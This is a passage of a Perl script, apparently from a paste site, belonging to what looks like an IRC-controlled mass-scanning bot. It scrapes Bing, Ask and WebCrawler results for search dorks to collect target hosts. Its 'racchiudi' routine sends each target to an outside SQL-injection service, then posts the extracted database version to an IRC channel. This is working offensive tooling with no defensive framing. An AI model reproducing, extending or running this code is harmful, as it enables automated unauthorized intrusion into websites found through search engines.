  685. if($link !~ /yahoo/)
  686. {
  687. my @tmp_link = &get_all_host($link);
  688. push(@results,@tmp_link);
  689. }
  690. }
  691.  
  692. @unique_links = &unique(@results);
  693.  
  694. return(@unique_links);
  695. }
  696.  
  697. sub msn()
  698. {
  699. my $dork = &urlencode($_[0]);
  700. my $html = "";
  701. my @results = ();
  702. my @unique_links = ();
  703.  
  704. for($i = 0; $i < 1000; $i += 10)
  705. {
  706. $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
  707. }
  708.  
  709. while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
  710. {
  711. my @tmp_link = &get_all_host($1);
  712. push(@results,@tmp_link);
  713. }
  714.  
  715. @unique_links = &unique(@results);
  716.  
  717. return(@unique_links);
  718. }
  719.  
  720. sub ask()
  721. {
  722. my $dork = &urlencode($_[0]);
  723. my $html = "";
  724. my @results = ();
  725. my @unique_links = ();
  726.  
  727. for($i = 0; $i < 9; $i += 1)
  728. {
  729. $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
  730. }
  731.  
  732. while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
  733. {
  734. my @tmp_link = &get_all_host($1);
  735. push(@results,@tmp_link);
  736. }
  737.  
  738. @unique_links = &unique(@results);
  739.  
  740. return(@unique_links);
  741. }
  742.  
  743.  
  744. sub webcrawler()
  745. {
  746. my $dork = &urlencode($_[0]);
  747. my $html = "";
  748. my @results = ();
  749. my @unique_links = ();
  750.  
  751. for($i = 0; $i < 100; $i += 10)
  752. {
  753. $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  754. }
  755.  
  756. while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
  757. {
  758. my @tmp_link = &get_all_host($1);
  759. push(@results,@tmp_link);
  760. }
  761.  
  762. @unique_links = &unique(@results);
  763.  
  764. return(@unique_links);
  765. }
  766.  
  767. sub racchiudi
  768. {
  769. chomp($website);
  770. chop($website);
  771. my $website = shift;
  772. my $agent = WWW::Mechanize->new( autocheck => 1 );
  773. my $formfiller = WWW::Mechanize::FormFiller->new();
  774. $agent->env_proxy();
  775.  
  776. $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
  777. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  778. $agent->submit();
  779. print "ecco: $website--\n";
  780. if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
  781. &respond_to_privmsg(\%msg,"15[7SERViCES15]12 Version: ".$1."  ");
  782. print "versione ".$1." ";
  783. }else{
  784. $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
  785. }
  786. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement